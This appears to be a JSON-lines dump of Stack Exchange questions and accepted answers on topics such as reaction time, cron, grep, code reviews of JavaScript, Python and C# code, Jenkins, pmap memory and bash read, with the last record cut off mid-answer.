{  "id": "_cogsci.12219"  , "question": "Just out of curiosity, regardingly highly unlikely situations of ever needing to disarm someone - using neuroscience to make informed self defence decisions:How fast can the brain recieve a visual or reflexive (seeing me beginning to move my hand, or feeling my hand hit the wrist -- I suspect the two impulses might have differing response times) signals from the body, to the moment of signaling the finger muscles? "  , "title": "How fast can the brain react in order for someone to pull a trigger?"  , "tags": "reaction time"  , "accepted_answer": "Short answerThe motor response latency to a visual stimulus is approximately 210 ms.BackgroundYou are basically asking for the visually induced reaction time of a motor response. Reaction times have been assessed many times in various studies. In a very recent study with an impressive subject population of more than 1400 (aged 18 - 65), the motor response latency to a visual stimulus was estimated at an average of 213 ms. Reaction times increased with age, but were unaffected by sex or educational level. Old age mainly affected the motor latency, and not so much the visual processing speed.Reference- Woods et al., Frontiers Human Neurosci (2015); 9:131-12p "  } 
{  "id": "_webmaster.15526"  , "question": "I am preparing to have my web application in a private beta.  The application when fully live will have a lot more content than in beta. Currently our plan is to release it to limited users with limited content to ensure that all the business functions are working fine.We plan to use Google to power the search within the application. My question is will there be any negative impact in future (in terms of page rank or reputation) if we let Google crawl it in its present state? Or should we wait till it is fully functional to let Google crawl it."  , "title": "Google crawl on uncompleted site"  , "tags": "search engines;google search"  , "accepted_answer": "That's perfectly fine. All you're doing is adding content to your site which is what most sites do every day. A perfect example of that is this page right here. By asking this question and by me answering it we're creating new content for this site. So letting Google find your site with less content then you plan on ultimately having is common and normal. Google will keep coming back to find new content so it can index it and hopefully rank it well."  } 
{  "id": "_unix.31634"  , "question": "I am running OS X 10.7 and I am learning unix commands. I would like to set up a very basic cron job that sends me an email with a certain message.How would I go about this. From what I have read, I should receive an email automatically unless I specify otherwise.I don't seem to have the crontab file in the /etc directory.Any help is more than appreciated."  , "title": "I want to set up a basic cron job that sends an email"  , "tags": "cron;email"  } 
{  "id": "_unix.140620"  , "question": "I'm using egrep with the -o option in order to just get the matching part of the line, e.g.cat /usr/share/dict/words | egrep -o '(aa|ii)'Now I'd like to see some context of the match, i.e. a few characters on the left and on the right. One way to achieve this is bycat /usr/share/dict/words | egrep -o '.{3}(aa|ii).{2}'Is there a better (more efficient and elegant) way? (I've gone through the egrep commandline options but didn't find one for this purpose.)"  , "title": "Context of the matching regular expression"  , "tags": "grep;regular expression"  , "accepted_answer": "You could do something like:$ echo 'aabiicaa' | perl -lne '   while (/aa|ii/g) {print substr($`,-3).[$&].substr($'\\'',0,2)}'[aa]biaab[ii]caiic[aa]"  } 
{  "id": "_webmaster.44647"  , "question": "I am building a web application for a client. I never set up a server using IIS. He needs me to configure the server to work with mySQL, php, and phpmyadmin. The server, is completely empty/unconfigured version of IIS 6. I need to set it up so the web application I built is completely accessible on the www. Not sure how long this will take me. It may take anywhere from 10-50 hours, I am not sure. I worked on set up servers using IIS, I never configured one from scratch. I am afraid that troubleshooting, and getting everything working as it should may take me days...What would be a reasonable charge for this service?I appreciate any advice,Many thanks in advance! "  , "title": "Client asking for estimate to set up/ configure his server"  , "tags": "web development;website design;server;freelancer"  } 
{  "id": "_codereview.64401"  , "question": "This code is similar to Underscore.  I've added in some functions to fill in different use cases.For example, one can use someKey to iterate through localStorage and sessionStorage.Underscore does not have a good way to loop through localStorage / sessionStorage as it is incorrectly detected as an array like object, i.e. it has a length property but does not have indices./***************************************************************************************************UTILITYThis is a small and efficient utility library.  There is additional coverage,consistent ordering, consistent naming conventions, increased input validation, increased structure,and fewer function branches compared to underscore.*//*jslint    browser: true,    forin: true,    plusplus: true,    eqeq: true,    ass: true*/(function (global, undef) {    use strict;    // holds (Pub)lic properties for the package    var Pub = {},        // holds (Priv)ate properties for the package        Priv = {},        // native prototype methods        nativeSlice = Array.prototype.slice,        nativeSome = Array.prototype.some,        nativeToString = Object.prototype.toString;    // handles global variable management    Pub.noWar = (function () {        // Priv.g holds the single user-defined global variable        Priv.g = '$A';        Priv.previous = global[Priv.g];        Pub.pack = {            utility: true        };        return function () {            var temp = global[Priv.g];            global[Priv.g] = Priv.previous;            return temp;        };    }());    // returns type in a capitalized string form    // typeof is only accurate for function, string, number, boolean, and    // undefined.  null and array are both reported as objects    // also typeof does not detect boxed values such as `new Number(1)`    Pub.getType = function (obj) {        return nativeToString.call(obj).slice(8, -1);    };    Pub.isType = function (type, obj) {        return Pub.getType(obj) === type;    };    Pub.isGone = function (obj) {        return obj == null;    };    // detects null, undefined, NaN, '', , 0, -0, false    Pub.isFalsy = function (obj) {        return !obj;    };    Pub.hasLength = function (obj) {        if (obj == null) {            return false;        }        return obj.length === +obj.length;    };    // *underscore calls this, isObject    Pub.isObjectWritable  = function (obj) {        return Object(obj) === obj;    };    // *breaks naming convention for compatibility with underscore    Pub.isObjectLiteral = function (obj) {        return nativeToString.call(obj) === '[object Object]';    };    //compare to underscore    //   - on a func truthy match returns true and on no match returns false    //   - on func/obj validation fail returns false    //   - does not insert identity function on func validation fail    Pub.someKey = function (obj, func, con) {        var key;        if (typeof func !== 'function') {            return false;        }        for (key in obj) {            if (obj.hasOwnProperty(key)) {                if (func.call(con, obj[key], key, obj)) {                    return true;                }            }        }        return false;    };    Pub.someIndex = function (arr, func, con) {        var ind,            len;        // validation - prevent type errors        if ((arr == null) || (arr.length !== +arr.length) || (typeof func !== 'function')) {            return false;        }        // delegate to native some()        if (nativeSome && arr.some === nativeSome) {            return arr.some(func, con);        }        for (ind = 0, len = arr.length; ind < len; ind++) {            if (func.call(con, arr[ind], ind, arr)) {                return true;            }        }        return false;    };    Pub.someString = function (str, func, con) {        if (typeof str !== 'string') {            return false;        }        return Pub.someIndex(str.split(/\\s+/), func, con);    };    Pub.morph = function (obj, func) {        if (typeof func !== 'function') {            return false;        }        Pub.someKey(obj, function (val, key) {            obj[key] = func(val);        });        return obj;    };    // near direct copy from underscore    Pub.lacks = function (obj) {        Pub.someIndex(nativeSlice.call(arguments, 1), function (val) {            var lacks;            if (val) {                for (lacks in val) {                    if (obj[lacks] === undef) {                        obj[lacks] = val[lacks];                    }                }            }        });        return obj;    };    // shallow clone    Pub.cloneFlat = function (obj) {        if (!Pub.isObjectWritable(obj)) {            return obj;        }        return Pub.isType('Array', obj) ? obj.slice() : Pub.extendFlat({}, obj);    };    // extends non-prototype properties from obj2 on to obj1    // with out any over writing.  does not extend up the prototype chain.    Pub.extendSafe = function (obj1, obj2) {        var key;        for (key in obj2) {            if (obj2.hasOwnProperty(key)) {                if (obj1.hasOwnProperty(key)) {                    throw new Error(naming collision:  + key);                }                obj1[key] = obj2[key];            }        }        return obj1;    };    // does not extend up the prototype chain like underscore    Pub.extendFlat = function (obj) {        Pub.someIndex(nativeSlice.call(arguments, 1), function (object) {            var key;            if (object) {                for (key in object) {                    if (object.hasOwnProperty(key)) {                        obj[key] = object[key];                    }                }            }        });        return obj;    };    // for adding underscore and a suffix    Pub.addU = function (str, suf) {        if (typeof str !== 'string' || typeof suf !== 'string') {            return false;        }        return str + '_' + suf;    };    // for removing the last underscore and suffix    Pub.removeU = function (str) {        var res;        if (typeof str !== 'string') {            return false;        }        res = str.lastIndexOf(_);        if (res !== -1) {            return str.slice(0, res);        }        return false;    };    // first key that for / in will iterate through    Pub.firstKey = function (obj) {        var prop;        for (prop in obj) {            if (obj.hasOwnProperty(prop)) {                return prop;            }        }        return false;    };    Pub.testKeys = function (keys, pattern, func) {        var test = '',            key;        for (key in keys) {            test += key;        }        if (test === pattern) {            func();        }    };    // runtTest(test_foo, [input1, input2], function(arr){//write test here});    Pub.runTest = (function () {        var tests = {};        return function (name, arr, func) {            tests[name] = func.apply(this, arr);        };    }());    Pub.prettyTime = function (post_time) {        var NORMALIZE = 1000,   // 1000 milliseconds in a second            MINUTE = 60,        // 60 seconds in a minute            HOUR = 3600,        // 3600 seconds in an hour            DAY = 43200,        // 43,200 seconds in a day        // server time is in seconds while browser time is in milliseconds            current_time = Math.round(Date.now() / NORMALIZE),            rounded_time,            elapsed_time,            string = '';        // synch factor actually exeeds transit time in some cases        // post_time originates on the server as a unix time stamp        // and current_time we calculate above        if (current_time < post_time) {            current_time = post_time;        }        elapsed_time = (current_time - post_time);        if (elapsed_time === 0) {            string = ' just a second ago';        // 0 to 1 minute ago        } else if ((elapsed_time > 0) && (elapsed_time < MINUTE)) {            string = (elapsed_time === 1) ? 'one second ago' :                    (elapsed_time + ' seconds ago');        // 1 minute to 1 hour ago        } else if ((elapsed_time >= MINUTE) && (elapsed_time < HOUR)) {            rounded_time = Math.floor(elapsed_time / MINUTE);            string = (rounded_time === 1) ? 'one minute ago' :                    (rounded_time + ' minutes ago');        // 1 hour to to 1 day ago        } else if ((elapsed_time >= HOUR) && (elapsed_time < DAY)) {            rounded_time = Math.floor(elapsed_time / HOUR);            string = (rounded_time === 1) ? 'one hour ago' :                    (rounded_time + ' hours ago');        // more than 1 day ago        } else if ((elapsed_time >= DAY)) {            rounded_time = new Date(post_time * NORMALIZE);            string = 'on ' + rounded_time.toLocaleDateString();        }        return string;    };    // Used for primitives saved to localStorage and sessionStorage    Pub.unStringify = function (string) {        // Booleans first        if (string === true) {            return true;        }        if (string === false) {            return false;        }    };    // for the arc library    global[Priv.g] = Pub.extendSafe(global[Priv.g] || {}, Pub);    // for underscore mixins    global.ArcUtility = Pub;}(this));"  , "title": "Utility library and Underscore mixin - 1"  , "tags": "javascript;underscore.js;mixins"  , "accepted_answer": "Quick review, in no particular order. I haven't gone line by line, I just scrolled around and noted what I saw.Firstly, the good stuff:Consistent style (almost, see #8 below)use strict;jslint-checkedThen, the not-so-good stuffNaming convention may be internally consistent (not that I can really tell), but your library is not, in my opinion, quite large enough to get away with it. The first function I come across is called noWar. This seems to be (the documentation is lacking) your library's implementation of the common noConflict function - so why not call it that? Right now it's just a cutesy name for a function that should aim for external consistency.It's almost ironic that a function that exists to play nice with other code goes out of its way to do things differently.isGone and isFalsy should be defined as negations of calling isHere and isTruthy respectively. Or vice-versa. The whole point is that those functions  report the opposite of their counterparts; don't write separate logic for either one, even when that logic is pretty straightforward.Similar to the above, hasLength should also use isGone in its internal check. Don't repeat logic. And someIndex should be calling hasLength and isType in its checks. If your library doesn't trust its own functions, why should anyone?These two comments confuse me:// *underscore calls this, isObject...// *breaks naming convention for compatibility with underscoreSo... in one case, you use your own name for something, underscore be damned, but in the very next function, you break naming convention (though I don't see how) specifically to match underscore. Huh?Naming in general: I just don't get many of these names, and with spotty documentation, I'm often left wondering. For instance testKeys. I can read the code, but I have no idea what I'd ever use it for.Speaking of testKeys: Why does it take a callback when it's not asynchronous? It can just return a boolean. How can I be sure it'll do what I expect? Objects are unordered, so if the keys object contains the keys foo and bar, and my pattern string is foobar, the string that's being tested might still be barfoo. And it doesn't use hasOwnProperty like everything else.runTest doesn't appear to let anyone access its internal tests object, nor does it return the result of the test being run. So you run a test, and... what? You always get undefined back, and tests is forever a private closure.prettyTime. Nice - unless you want another language than English, of course. The entire function just doesn't seem germane to whatever else the library is doing.Furthermore it looks like a copy-paste job, since all the variables are snake_cased, while the rest of you code is camelCased. My bad, the style is consistent with the other functions (see comments). I would add, though, that distinguishing between functions and variables is sort of pointless in JS. Functions are variables. So I'm not sure the distinction makes sense.addU and removeU. These functions are just overly specific (and complex). Besides, removeU will fail if the original suffix contains an underscore already: removeU(addU(test, my_suffix)) will return test_my. So it'll  only work for some kinds of strings, meaning it's probably built to work for your strings in your project. In another context, you or anyone else might have to do their own utility methods anyway, so as a utility library function there's not much value here, I'm afraid.firstKey. Again: Objects do not guarantee any ordering of their keys, so the function doesn't really do anything useful. At worst it misinforms the caller. It's entirely dependent on the vagaries of the runtime. To quote the spec: The mechanics and order of enumerating the properties [...] is not specified. (emphasis added)In all, this doesn't seem like a generic library (like underscore). It does have some generally applicable functions, sure, but it's also got some pretty context-specific and sometimes mystifying functions."  } 
{  "id": "_softwareengineering.270216"  , "question": "My current company has a Jenkins/DotCi setup. Our current process for CI is when dev pushes to github, jenkins runs unit tests on all branches and reports back to us via email if the unit tests failed. If on master, we then run a deploy to a UAT environment and we will soon be activating our integration tests after a deploy occurs successfully.We want to run our integration tests against our Staging environment on a daily basis. With the Build Periodically feature under Config i know we can specify when we trigger it to occur, however is there a way to have it trigger the integration test only rather than having to deploy? "  , "title": "Scheduling a Jenkins job to only run integration test"  , "tags": "unit testing;testing;continuous integration;integration tests;jenkins"  , "accepted_answer": "You can create a new job that only runs your integration tests. I always split up jobs like this:build + unit testdeploy into UATrun smoke testsrun integration tests / UATTake a look at the plugins Build Result Trigger, and the new Build Flow Plugin.You can also just trigger another job with plain Jenkins without any plugin. In your job, add a Post build step and make it Run anther job.edit If you need to copy artifacts from one build to another (to create a build+deploy pipeline), you can use the Copy Artifact Plugin."  } 
{  "id": "_codereview.161089"  , "question": "Just completed a piece of code - a credit card validation program in python - as a little side project. Having no experience with classes in the past, I decided to employ classes in this project.I am wondering if you could review my code, both appraising the actual code, but also evaluate my use of OOP/classes.The requirements for the program are:The user enters their name, postcode, the card code, and the card  date.The eighth digit of the card code is removed and acts as a check digitThe code is then reversedThe 1st, 3rd, 5th, and 7th digits are multiplied by 2If the result of the multiplication is > 9, subtract 9 from it.If the sum of the 7 digits, and the check digit are divisable by 10,  the code is validThe card date must also be in the future.Finally, output their name, postcode, card number, and whether it is  valid or not.The code:Program used to check if a credit card is authentic.# !/usr/bin/env python# -*- coding: utf-8 -*-# Check it outimport datetimeclass Customer:    Class representing the customer and their credit card details    # Constructor    def __init__(self):        self.name = input(Name: )        self.postcode = input(Postcode: )        self.card_date = input(Card date: )        self.card_code = input(Card code: ).strip()    def check_date(self):        Checks current date against the credit card's date. If it is valid, returns True; else False.        card = datetime.datetime.strptime(self.card_date, %d/%m/%Y).date()        if datetime.date.today() < card:            return True        else:            return False    def check_code(self):        Contains the algorithm to check if the card code is authentic        code_list = list(str(self.card_code))        check_digit = int(code_list[7])        code_list.pop()        # The last digit is assigned to be a check digit and is removed from the list.        code_list.reverse()        for item in code_list:            temp_location = code_list.index(item)            if is_even(temp_location):                code_list[temp_location] = int(item) * 2        # Loops over each digit, if it is even, multiplies the digit by 2.        for item in code_list:            temp_location = code_list.index(item)            if int(item) > 9:                code_list[temp_location] = int(item) - 9        # For each digit, if it is greater than 9; 9 is subtracted from it.        sum_list = 0        for item in code_list:            sum_list += int(item)        # Calculates the sum of the digits        code_total = sum_list + int(check_digit)        if code_total % 10 == 0:            return True        else:            return False            # If the code is divisible by 10, returns True, else, it returns False.    def check_auth(self):        Checks the card's authenticity.         if self.check_code() and self.check_date():            print(----------------------)            print(Valid)            print(self.name)            print(self.postcode)            print(self.card_date)            print(self.card_code)        else:            print(----------------------)            print(Invalid)            print(self.name)            print(self.postcode)def is_even(number):    Function used to test if a number is even.    if number % 2 == 0:        return True    else:        return Falseif __name__ == __main__:    customer().check_auth()"  , "title": "Credit card validation - Python 3.4"  , "tags": "python;python 3.x;validation;checksum"  , "accepted_answer": "I think there is this code organization issue - you have a class named Customer, but it, aside from the .name attribute, consists of credit-card related logic only. I would also pass the obtained attributes to the class constructor instead of asking for them inside it:def __init__(self, name, post_code, card_date, card_code):    self.name = name    self.post_code = post_code    self.card_date = card_date    self.card_code = card_codeIt is a little bit cleaner to do this way since now our class is more generic, it is agnostic of where the attributes are coming from.Some other code-style related notes:consistent naming: rename postcode to post_code revise the quality and necessity of comments: there is probably not much sense in having a comment # Constructor you can simplify the way you return a boolean result from your methods. For instance, you can replace:if datetime.date.today() < card:    return Trueelse:    return Falsewith:return datetime.date.today() < cardAnd, it's worth mentioning that, generally speaking, if you doing this for production, you should not be reinventing the wheel and switch to a more mature, well-used and tested package like pycard."  } 
{  "id": "_unix.29181"  , "question": "Nautilus is taking up 450 MiB according to System Monitor (Ubuntu 10.04).$pmap <PID of Nautilus>...total          1578276KIs pmap reporting 1.5 GiB of memory here? I'm trying to find out what's taking up the 450 MiB so I can deduce what I'm doing wrong, or where the problem lies."  , "title": "Impossible pmap results"  , "tags": "ubuntu;memory;nautilus"  , "accepted_answer": "There's no simple notion of how much memory is used by a program.The output of pmap describes all the virtual memory that's mapped by a process. Mapped means that the process can access that data through a pointer, without issuing any further command to load data or request access. Mapped virtual memory isn't always in RAM: it can be swapped out, and it can be in a file. For example, all the shared libraries that are used by a program are mapped in each process that uses them, but (for the most part) only one copy is kept in RAM for the whole system, and that copy need not be fully loaded in memory (parts that are required will be loaded from the disk file on when needed). The 1.5GB figure includes all of the process's code, static data, shared memory and own data. It's not a very meaningful figure.pmap is a simple reformatting of /proc/$pid/maps. Understanding Linux /proc/id/maps explains what the columns mean.The 450MB figure is (I think) the process's resident set, that is, the non-shared memory that is currently in RAM. This includes both data that belongs only to the process (and which may get swapped out), and files that the process has opened for writing (disk buffers, which may be evicted to be reloaded later from the file).You won't easily be able to break down the 450MB memory further. This is a job for the program's author, with debugging tools."  } 
{  "id": "_hardwarecs.7984"  , "question": "I need to buy or build a machine for my research in Deep Learning and Computer Vision. I read in some tutorial about building a machine for Deep Learning, it suggested using a CPU with minimum 8 Cores, where Cache Doesn't Matter even some people suggest that CPU power doesn't matter as much as GPU. They also suggested  a minimum of 8GB RAM and a GPU with at least 2GB Memory. Suggested GPU GTX 680, GTX 980 and GTX 1080. First two are not available here.The reason why I'm not following already available suggestions is that I have low budget and I'm considering only those options which are available as used or at low cost in Pakistan.So far I have visited local stores and I have been offered following packages. But none of the store owner has ever encountered a person working in machine learning or vision so neither they know anything about requirements nor I. That's why I don't even know if all these components offered in packages below will work optimally together or not. So Please have a look at them and let me know if they is something wrong with using one kind of processor on a kind of motherboard or GPU compatibility with board or processor.I also open for mixed suggestions e.g. using GPU offered in one package and CPU from other but I want to keep my budget as low as $1000 with a little margin. Prices of some components are provided separately.Option 1 ($991 or PKR 104500)Asus X99 Board (Supports 40 Lane PCIe 3.0) - USED ($237)Intel Core i7-5820K (6 Core, 3.3 GHz, 15M Cache) - USED ($332)16 GB DDR4 RAM - NEW with Full Warranty ($142)500 GB Mechanical Hard Drive - USED ($19)128 GB SSD - USED ($28)GTX 1050Ti - NEW with Full Warranty ($185)650W Power Supply ($42)Option 2 ($835 or PKR 88000)Dell T3610 Desktop Workstation - USED Intel Xeon E5 Series Processor with 1 Core, 30M Cache - USED 16 GB DDR3 RAM ($33)500 GB Mechanical Hard Drive - USED ($19)128 GB SSD - USED ($28)GTX 1050Ti - NEW with Full Warranty ($185)Option 3 ($1803 or PKR 190000)MSI X99 SLI PLUS (Supports 40 Lane PCIe 3.0) - USEDIntel Xeon E5-2620 v4 (8 Core, 2.1 GHz, 20M Cache) - USED16 GB DDR4 RAM - NEW with FULL Warranty ($142)500 GB Mechanical Hard Drive - USED ($19)128 GB SSD - USED ($28)GTX 1080 - New with Full Warranty ($711)Option 4 ($1090 or PKR 115000)HP Tower z820Intel Xeon E5-2687W (8 Core, 3.1 GHz, 20M Cache)16 GB DDR3 RAM ($33)1 TB Hard Drive ($28)128 GB SSD ($28)NVidia Quadro 5000 (2.5 GB, 384 bit)Option 5 ($512 or PKR 54000 without Graphic Card)HP z620 TowerIntel Xeon e5-2650 (8 Core, 2 GHz, 20M Smart Cache)16 GB DDR3 RAM ($33)500 GB Hard Drive ($19)128 GB SSD ($28)Graphics Card is not included"  , "title": "Workstation for Deep Learning in Pakistan"  , "tags": "graphics cards;motherboard;power supply;case;cpu"  } 
{  "id": "_softwareengineering.249891"  , "question": "I'd like to add a couple of command-line arguments to my Django's ./manage.py dbshell command, and I can't figure out how.In specific I'd like to add -A to prevent MySQL from scanning every table and every column, and --prompt=LOCAL: since I frequently keep multiple shells open.I can't figure out how to do this! I'm only idea is to create my own mysql command in /usr/local/bin and have it be a wrapper for mysql with my own flags. But I'd really like to avoid doing that."  , "title": "Add arguments to mysql in Django's dbshell"  , "tags": "mysql;django;command line"  } 
{  "id": "_unix.37370"  , "question": "Is there any way to restart ONE web application in mono without having to restart Apache?Currently I'm doing a sudo service apache2 restart everytime I deploy my .NET web application to mono, but it restarts all my other applications, requiring them ALL to get reloaded into memory at next web request."  , "title": "How to restart mono web application without restarting apache?"  , "tags": "apache httpd;mono"  , "accepted_answer": "Enable the mod_mono control panel.In httpd.conf, add<Location /mono>  SetHandler mono-ctrl  Order deny,allow  Deny from all  Allow from 127.0.0.1</Location>You will need to modify the addresses that can access it in the Allow from line.Reload httpd and now you can go to http://some.website.domain/mono. You can, among other things, reload all or individual mono applications."  } 
{  "id": "_cogsci.13316"  , "question": "I have noticed that when I look at a cropped picture of someone's face, I fill in the remaining image of his/her body in a manner that is consistent with the face (wider face, larger body, skinnier face, frail body, large jaw, more muscular body, etc). Does the human brain immediately and accurately fill in such information and guess what a persons's body looks like from just images of the face?"  , "title": "Are people able to accurately judge body shape and size from images of the face?"  , "tags": "cognitive psychology;perception"  } 
{  "id": "_codereview.26631"  , "question": "Code reviews and suggestions to improve coding style are welcome.using ExpressionEvaluatorLibrary;namespace ExpressionEvaluator{  class Program  {    static void Main(string[] args)    {       ConsoleKeyInfo cki = new ConsoleKeyInfo();        Console.WriteLine( Mathematical Expression Evaluation);        Console.WriteLine(Maximum length    : 250 characters);        Console.WriteLine(Allowed Operators : +, -, *, /);        do        {            string strUserInput = ;            if (args.Length == 0)            {                Console.Write(\\n\\nEnter an Expression: );                strUserInput = Console.ReadLine();            }            else            {                // TO be able to run from command prompt.                strUserInput = args[0];            }            IExpressionModel expressionModel = new ExpressionModel();            string strValidate = expressionModel.ExpressionValidate(strUserInput);            if (strValidate == Valid)            {                try                {                    string strPostFixExpression = expressionModel.ConvertToPostfix(strUserInput);                    // Console.WriteLine(strPostFixExpression);                    string strResult = expressionModel.EvaluateExpression(strPostFixExpression);                    Console.WriteLine(\\n       The result is:  + strResult);                }                catch (Exception e)                {                    Console.WriteLine(e);                }                                }            else            {                Console.WriteLine(strValidate);            }            Console.WriteLine(\\nPress any key to continue; press the 'Esc' key to quit.);            cki = Console.ReadKey(false);        } while (cki.Key != ConsoleKey.Escape);    } }}namespace ExpressionEvaluatorLibrary{  public interface IExpressionModel  {    string ExpressionValidate(string strUserEntry);    string ConvertToPostfix(string strValidExpression);    string EvaluateExpression(string strPostFixExpression);  }}namespace ExpressionEvaluatorLibrary{  public class ExpressionModel : IExpressionModel  {    public string ExpressionValidate(string strUserEntry)    {        strUserEntry = strUserEntry.Trim();        if (string.IsNullOrEmpty(strUserEntry))            return There was no entry.;        if (strUserEntry.Length > 250) //250 seemed better than 254            return More than 250 characters entered.;        string[] fixes = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };        bool boolStartsWith = fixes.Any(prefix => strUserEntry.StartsWith(prefix));        if (!boolStartsWith)            return The expression needs to start with a number.;        bool boolEndsWith = fixes.Any(postfix => strUserEntry.EndsWith(postfix));        if (!boolEndsWith)            return The expression needs to end with a number.;        if (!Regex.IsMatch(strUserEntry, ^[-0-9+*/ ]+$))            return There were characters other than Numbers, +, -, * and /.;        if (!Regex.IsMatch(strUserEntry, [-+*/]))            return Not a mathematical expression;        string[] strOperator = Regex.Split(strUserEntry, @\\d+);        for (int i = 1; i < strOperator.Length - 1; i++) //the first and last elements of the array are empty        {            if (strOperator[i].Trim().Length > 1)                return Expression cannot have operators together ' + strOperator[i] + '.;        }        return Valid;    }    public string ConvertToPostfix(string strValidExpression)    {        StringBuilder sbPostFix = new StringBuilder();        Stack<Char> stkTemp = new Stack<char>();        for (int i = 0; i < strValidExpression.Length; i++)        {            char chExp = strValidExpression[i];            if (chExp == '+' || chExp == '-' || chExp == '*' || chExp == '/')            {                sbPostFix.Append( );                if (stkTemp.Count <= 0)                    stkTemp.Push(chExp);                else if (stkTemp.Peek() == '*' || stkTemp.Peek() == '/')                {                    sbPostFix.Append(stkTemp.Pop()).Append( );                    i--;                }                else if (chExp == '+' || chExp == '-')                {                    sbPostFix.Append(stkTemp.Pop()).Append( );                    stkTemp.Push(chExp);                }                else                {                    stkTemp.Push(chExp);                }            }            else            {                sbPostFix.Append(chExp);            }        }        for (int j = 0; j <= stkTemp.Count; j++)        {            sbPostFix.Append( ).Append(stkTemp.Pop());        }        string strPostFix = sbPostFix.ToString();        strPostFix = Regex.Replace(strPostFix, @[ ]{2,}, @ );        return strPostFix;    }    public string EvaluateExpression(string strPostFixExpression)    {        Stack<string> stkTemp = new Stack<string>();        string strOpr = ;        string strNumLeft = ;        string strNumRight = ;        List<String> lstPostFix = strPostFixExpression.Split(' ').ToList();        for (int i = 0; i < lstPostFix.Count; i++)        {            stkTemp.Push(lstPostFix[i]);            if (stkTemp.Count >= 3)            {                Func<string, bool> myFunc = (c => c == + || c == - || c == * || c == /);                bool isOperator = myFunc(stkTemp.Peek());                if (isOperator)                {                    strOpr = stkTemp.Pop();                    strNumRight = stkTemp.Pop();                    strNumLeft = stkTemp.Pop();                    double dblNumLeft, dblNumRight;                    bool isNumLeft = double.TryParse(strNumLeft, out dblNumLeft);                    bool isNumRight = double.TryParse(strNumRight, out dblNumRight);                    if (isNumLeft && isNumRight)                    {                        double dblTempResult;                        switch (strOpr)                        {                            case (+):                                dblTempResult = dblNumLeft + dblNumRight;                                stkTemp.Push(dblTempResult.ToString());                                break;                            case (-):                                dblTempResult = dblNumLeft - dblNumRight;                                stkTemp.Push(dblTempResult.ToString());                                break;                            case (*):                                dblTempResult = dblNumLeft * dblNumRight;                                stkTemp.Push(dblTempResult.ToString());                                break;                            case (/):                                dblTempResult = dblNumLeft / dblNumRight;                                stkTemp.Push(dblTempResult.ToString());                                break;                        }                    }                }            }        }        return stkTemp.Pop();     }  }}"  , "title": "Mathematical expression evaluator."  , "tags": "c#;regex;console"  , "accepted_answer": "If I'm not mistaken your acceptable input expressions are in infix notation and look like this:number [+-*/] number [+-*/] number ....In that case you can greatly simplify you validation check with a single regular expression:^\\d+(\\s*[+-*/]\\s*\\d+)+$It checks for strings starting with a number composed out of 1 or more digits followed by 1 or more groups of [+-*/] number. The \\s* allows any number of white spaces between operators and numbers.When you validate you should not return a string representing the validation result. Two alternative options:Return a ValidationResult object like this:class ValidationResult{    bool readonly IsValid;    string readonly FailureReason;    private ValidationResult() { }    public static ValidationResult Valid()    {        return new ValidationResult { IsValid = true; }    }    public static ValidationResult Invalid(string reason)    {        return new ValidationResult { IsValid = false; FailureReason = reason; }    }}Use: return ValidationResult.Invalid(some error)Throw a ValidationException with the message as the failure reason and catch it when calling the validation method and log/display the message to the user.You are doing a lot of parsing and re-parsing by passing everything around as strings. This is not really a good way of doing it and also very inefficient as you are constantly throwing away information and having to reconstruct it via parsing it out of the string.Here is how I would split it up:Write a tokenizer which splits the input string into tokens (numbers and operators) and provides the next token to the parserThe parser should build the expression tree. The operators should be the nodes and the leaves are the numbers. This way you can traverse it anyway you like infix, postfix, prefix and you retain the information about the parsed input. Evaluating just means to traverse the tree and evaluate the nodes and the operands.Some skeleton code:The nodes of the tree:interface INode{    double Evaluate();}abstract class Operator : INode{    protected readonly INode Left;    protected readonly INode Right;    protected Operator(INode left, INode right)    {        Left = left;        Right = right;    }    public abstract double Evaluate();    public static Operator FromString(string op, INode left, INode right)    {        switch (op)        {            case +: return new Add(left, right);            case -: return new Sub(left, right);            case *: return new Mul(left, right);            case /: return new Div(left, right);            default: throw new ArgumentException(Invalid operator, op);        }    }}class Add : Operator{     public Add(INode left, INode right) : base(left, right) {}     public override double Evaluate()     {         return Left.Evaluate() + Right.Evaluate();     }}// ...// similar classes for Sub, Mul And Div // ...class Constant : INode{    private readonly double _Number;    public Constant(double number)    {         _Number = number;    }    public double Evaluate()     {          return _Number;    }}Parsing (will only deal with valid input):public IEnumerable<string> Tokenize(string input){    // assuming only spaces or tabs are allowed in the expression    return string.Split(new [] { ' ', '\\t' }, StringSplitOptions.RemoveEmptyEntries);}public INode ParseTokens(IEnumerable<string> tokens){     INode left = new Constant(Double.Parse(tokens.First()));    tokens = tokens.Skip(1);    // last token of expression is always a number    if (!tokens.Any()) return left;    var op = tokens.First();    // recursive descending    INode right = ParseTokens(tokens.Skip(1));    return Operator.FromString(op, left, right);}Actually evaluating the input becomes:double EvaluateInput(string input){    var tokens = Tokenize(input);    var root ParseToken(tokens);    return root.Evaluate();}Ideally you actually create a Tokenizer class which gets instantiated with the input string and where you can call Next() on which will return the next token. The tokenizer should be passed to the parse method. I just used simple IEnumerable because it was quicker to show the basic concept."  } 
{  "id": "_unix.80045"  , "question": "If I try to execute read -a fooArr -d '\\n' < barthe exit code is 1 -- even though it accomplishes what I want it to; put each line of bar in an element of the array fooArr (using bash 4.2.37).Can someone explain why this is happeningI've found other ways to solve this, like the ones below, so that's not what I'm asking for.for ((i=1;; i++)); do    read fooArr$i || break;done < barormapfile -t fooArr < bar"  , "title": "read -a array -d '\\n' < foo, exit code 1"  , "tags": "bash;newlines;read"  , "accepted_answer": "What needs to be explained is that the command appeared to work, not its exit code'\\n' is two characters: a backslash \\ and a letter n. What you thought you needed was $'\\n', which is a linefeed (but that wouldn't be right either, see below).The -d option does this:  -d delim  continue until the first character of DELIM is read, rather            than newlineSo without that option, read would read up to a newline, split the line into words using the characters in $IFS as separators, and put the words into the array. If you specified -d $'\\n', setting the line delimiter to a newline, it would do exactly the same thing. Setting -d '\\n' means that it will read up to the first backslash (but, once again, see below), which is the first character in delim. Since there is no backslash in your file, the read will terminate at the end of file, and:Exit Status:The return code is zero, unless end-of-file is encountered, read times out,or an invalid file descriptor is supplied as the argument to -u.So that's why the exit code is 1.From the fact that you believe that the command worked, we can conclude that there are no spaces in the file, so that read, after reading the entire file in the futile hope of finding a backslash, will split it by whitespace (the default value of $IFS), including newlines. So each line (or each word, if a line contains more than one word) gets stashed into the array.The mysterious case of the purloined backslashNow, how did I know the file didn't contain any backslashes? Because you didn't supply the -r flag to read:  -r                do not allow backslashes to escape any charactersSo if you had any backslashes in the file, they would have been stripped, unless you had two of them in a row. And, of course, there is the 